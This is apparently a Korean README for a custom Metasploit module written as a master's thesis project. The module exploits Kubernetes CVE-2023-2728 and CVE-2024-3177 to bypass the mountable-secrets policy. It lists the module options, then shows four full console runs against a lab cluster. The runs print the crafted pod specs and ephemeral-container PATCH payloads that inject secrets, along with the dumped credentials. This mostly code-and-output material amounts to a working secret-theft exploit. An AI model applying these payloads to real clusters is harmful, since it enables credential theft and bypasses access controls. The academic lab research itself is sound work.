Ruby로 작성된 모듈로, 사용자 정의 Metasploit 모듈을 통해 Kubernetes 클러스터의 시크릿 마운트 정책과 관련된 CVE-2023-2728 및 CVE-2024-3177 취약점을 악용하는 것을 목표로 합니다. 사이버 보안 석사 학위 최종 프로젝트의 일부입니다.
이 사용자 정의 모듈은 각각의 취약점에 영향을 받는 Kubernetes 버전(예: v1.27.2는 둘 다에 취약함)에서 CVE 2023-2728 및 CVE 2024-3177을 악용합니다. 두 취약점 모두 Kubernetes의 ServiceAccount admission 플러그인에 의해 부과된 마운트 가능한 시크릿 정책을 우회하는 것과 관련되며, 서로 다른 컨테이너 유형과 전략을 사용합니다. 주요 목표는 원하는 시크릿을 획득하여 사용자에게 보기 좋게 환경 변수로 표시하는 것입니다.
use auxiliary/cloud/kubernetes/double_secrets_cve 실행run 실행취약점을 악용하기 위해 대상 클러스터에서 생성된 Pod에서 사용할 컨테이너 유형을 정의합니다. normal(일반 컨테이너와 동일), init 또는 ephemeral이 될 수 있습니다.
악용하려는 취약점을 선택할 수 있습니다. 사용 가능한 옵션은 2024-3177 및 2023-2728입니다. 다른 취약점이 지정되면 모듈이 인식하지 못하고 오류가 발생하며, 이는 정상적인 결과입니다.
Pod를 생성하는 데 사용할 컨테이너 이미지를 지정합니다. 예를 들어 busybox는 기본 옵션으로, 가볍고 다재다능하여 유용합니다. ls, cp, mv, cat, sh와 같은 Unix에서 가장 일반적인 유틸리티를 하나의 작은 실행 파일에 그룹화하므로 리소스가 제한된 시스템이나 빠른 테스트에 적합합니다. 여기서처럼 특정 이미지가 필요하지 않고 Pod가 올바르게 생성되기만 하면 되는 경우에 적합합니다.
Pod가 생성될 Kubernetes의 네임스페이스를 나타냅니다. 공개하려는 시크릿이 있는 네임스페이스와 동일해야 합니다.
생성될 Pod에 부여할 이름을 정의합니다.
사용할 프록시 문자열로, 형식은 type:host:port[,type:host:port][...]입니다. 이는 표준 Metasploit 옵션이며 이 모듈에서는 사용되지 않습니다.
대상의 IP 주소 또는 IP 주소 범위를 지정합니다. 이 경우 취약점을 악용하려는 Kubernetes 클러스터입니다. 이 옵션은 Metasploit의 기본 옵션 중 하나입니다.
모듈이 연결할 대상의 TCP 포트를 정의합니다. 이는 표준 Metasploit 옵션입니다.
공개하려는 Kubernetes의 시크릿 이름을 지정합니다. 이를 위해서는 필요한 권한이 있어야 합니다.
기존 세션을 재사용할지 여부를 정의합니다. 이 모듈에서는 이 옵션이 관련이 없으며 선택 사항입니다. 기본 옵션입니다.
아웃바운드 연결에 SSL/TLS 연결을 협상할지 여부를 결정합니다. 이는 표준 Metasploit 옵션이며 반드시 활성화할 필요는 없으며, 사용자가 대상 클러스터에 연결하는 방식에 따라 다릅니다.
대상이 되는 Kubernetes API의 기본 경로를 지정합니다. 예: /api/v1. 이 옵션은 사용자 정의이며 모듈에서 특정 연결을 더 쉽게 예약하는 데 사용됩니다.
Kubernetes API와 상호 작용하는 데 사용할 인증 토큰을 정의합니다. 이 토큰에 필요한 권한이 있는 것이 중요합니다. 그렇지 않으면 모듈이 클러스터 내 리소스를 생성하거나 열거할 수 있는 권한이 부족하여 실패합니다.
HTTP 가상 호스트를 지정할 수 있습니다. 이는 표준 Metasploit 옵션이며 모듈에서 사용되지 않습니다.
참고: 마크다운에서 시크릿은 앞뒤로 ** SECRET **으로 표시됩니다. 코드에서는 그렇지 않으며, 사용자가 더 잘 볼 수 있도록 빨간색으로 강조 표시되었습니다. GitHub 플랫폼의 마크다운 언어 제한으로 인해 README 파일에서는 그렇게 할 수 없었습니다.
SECRET_NAME 옵션에 지정된 시크릿을 열거하기 위해 RHOST와 TOKEN을 명시적으로 설정:
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE normal
CONTAINER_TYPE => normal
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-1
POD_NAME => cve-pod-1
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-1","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"envFrom":[{"secretRef":{"name":"dvwa-secrets"}}]}],"restartPolicy":"Never"}}
[*] Pod not found, creating a new one.
[+] Pod created successfully: cve-pod-1
[*] Waiting for pod cve-pod-1 to be ready...
[*] Pod cve-pod-1 status: Pending
[+] Pod cve-pod-1 is running.
[*] Established Kubernetes client.
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-1
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[+] Successfully retrieved environment variables from pod cve-pod-1
[*] Auxiliary module execution completed
SECRET_NAME 옵션에 지정된 시크릿을 열거하기 위해 RHOST와 TOKEN을 명시적으로 설정:
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE init
CONTAINER_TYPE => init
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-2
POD_NAME => cve-pod-2
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-2","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"init-main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"]}],"restartPolicy":"Never","initContainers":[{"name":"exploit-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"envFrom":[{"secretRef":{"name":"dvwa-secrets"}}]}]}}
[*] Pod not found, creating a new one.
[+] Pod created successfully: cve-pod-2
[*] Waiting for the init container to start...
[*] Checking pod and container status...
[+] Init container is running.
[*] Retrieving environment variables from init container using Kubernetes API...
[*] WebSocket connection opened
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.96.0.1:443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-2
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT_3306_TCP=tcp://10.99.148.252:3306
** SECRET ** ROOT_PASSWORD=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[*] WebSocket connection closed: 1000,
[*] Auxiliary module execution completed
SECRET_NAME 옵션에 지정된 시크릿을 열거하기 위해 RHOST와 TOKEN을 명시적으로 설정:
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE ephemeral
CONTAINER_TYPE => ephemeral
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-3
POD_NAME => cve-pod-3
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with the following spec: {"apiVersion":"v1","kind":"Pod","metadata":{"name":"cve-pod-3","namespace":"dvwa-tfm-mysql"},"spec":{"containers":[{"name":"ephemeral-main-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"]}],"restartPolicy":"Never"}}
[*] Pod not found, creating a new one.
[+] Pod created successfully: cve-pod-3
[*] Waiting for pod cve-pod-3 to be ready...
[*] Pod cve-pod-3 status: Pending
[+] Pod cve-pod-3 is running.
[*] Adding ephemeral container with the following spec: {"name":"ephemeral-container","image":"busybox","envFrom":[{"secretRef":{"name":"dvwa-secrets"}}],"command":["/bin/sh"],"args":["-c","sleep 3600"]}
[*] Ephemeral container addition response code: 200
[*] Ephemeral container addition response message: OK
[+] Successfully added ephemeral container to pod cve-pod-3
[*] Waiting for ephemeral container to be ready...
[*] Ephemeral container status: {:waiting=>{:reason=>"ContainerCreating"}}
[*] Reason: ContainerCreating
[+] Ephemeral container is running.
[*] Waiting for ephemeral container to be ready...
[+] Ephemeral container is running.
[*] Retrieving environment variables from ephemeral container using Kubernetes API...
[*] WebSocket connection opened
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT=443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-3
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT_3306_TCP=tcp://10.99.148.252:3306
** SECRET ** ROOT_PASSWORD=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[*] WebSocket connection closed: 1000,
[*] Auxiliary module execution completed
CVE, RHOST 및 TOKEN을 명시적으로 설정하여 SECRET_NAME 옵션에 지정된 시크릿을 열거:
msf6 > use cloud/kubernetes/double_secrets_cve
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CVE 2023-2728
CVE => 2023-2728
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set CONTAINER_TYPE ephemeral
CONTAINER_TYPE => ephemeral
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RHOSTS 192.168.49.2
RHOSTS => 192.168.49.2
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set RPORT 8443
RPORT => 8443
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SECRET_NAME dvwa-secrets
SECRET_NAME => dvwa-secrets
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set SSL true
[!] Changing the SSL option's value may require changing RPORT!
SSL => true
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set NAMESPACE dvwa-tfm-mysql
NAMESPACE => dvwa-tfm-mysql
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > set POD_NAME cve-pod-4
POD_NAME => cve-pod-4
msf6 auxiliary(cloud/kubernetes/enum_kubernetes) > set TOKEN eyJhbGciO...
TOKEN => eyJhbGciO...
msf6 auxiliary(cloud/kubernetes/double_secrets_cve) > run
[*] Running module against 192.168.49.2
[*] Fetching Kubernetes server version...
[+] Kubernetes server version: v1.27.2
[+] The kube-apiserver version v1.27.2 is vulnerable to the selected CVE.
[*] Creating pod with standard configuration in namespace: dvwa-tfm-mysql with service account: sa-web
[*] Pod not found. Proceeding with pod creation.
[+] Successfully created pod cve-pod-4 in namespace dvwa-tfm-mysql
[*] Waiting for pod cve-pod-4 to be ready...
[*] Pod cve-pod-4 status: Pending
[+] Pod cve-pod-4 is running.
[*] Attempting to add ephemeral container to access secrets...
[*] Performing PATCH request with the following data: {"spec":{"ephemeralContainers":[{"name":"ephemeral-container","image":"busybox","command":["/bin/sh"],"args":["-c","sleep 3600"],"env":[{"name":"DVWA_DATABASE","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"DVWA_DATABASE"}}},{"name":"DVWA_PASSWORD","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"DVWA_PASSWORD"}}},{"name":"DVWA_USERNAME","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"DVWA_USERNAME"}}},{"name":"ROOT_PASSWORD","valueFrom":{"secretKeyRef":{"name":"dvwa-secrets","key":"ROOT_PASSWORD"}}}]}]}}
[+] Response received
[+] Ephemeral container successfully added to pod cve-pod-4
[*] Waiting for ephemeral container to be ready...
[*] Ephemeral container status: {:waiting=>{:reason=>"ContainerCreating"}}
[*] Reason: ContainerCreating
[+] Ephemeral container is running.
[*] Attempting to access environment variables from the ephemeral container...
[*] WebSocket connection opened
KUBERNETES_PORT=tcp://10.96.0.1:443
KUBERNETES_SERVICE_PORT=443
DVWA_MYSQL_SERVICE_PORT_3306_TCP_ADDR=10.99.148.252
HOSTNAME=cve-pod-4
SHLVL=1
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PORT=3306
HOME=/root
DVWA_MYSQL_SERVICE_SERVICE_HOST=10.99.148.252
DVWA_MYSQL_SERVICE_PORT_3306_TCP_PROTO=tcp
** SECRET ** DVWA_PASSWORD=p@ssw0rd ** SECRET **
DVWA_MYSQL_SERVICE_SERVICE_PORT=3306
DVWA_MYSQL_SERVICE_PORT=tcp://10.99.148.252:3306
DVWA_MYSQL_SERVICE_PORT_3306_TCP=tcp://10.99.148.252:3306
** SECRET ** ROOT_PASSWORD=dvwa ** SECRET **
KUBERNETES_PORT_443_TCP_ADDR=10.96.0.1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
KUBERNETES_PORT_443_TCP_PORT=443
KUBERNETES_PORT_443_TCP_PROTO=tcp
** SECRET ** DVWA_DATABASE=dvwa ** SECRET **
** SECRET ** DVWA_USERNAME=dvwa ** SECRET **
KUBERNETES_SERVICE_PORT_HTTPS=443
KUBERNETES_PORT_443_TCP=tcp://10.96.0.1:443
KUBERNETES_SERVICE_HOST=10.96.0.1
PWD=/
[*] WebSocket connection closed: 1000,
[*] Auxiliary module execution completed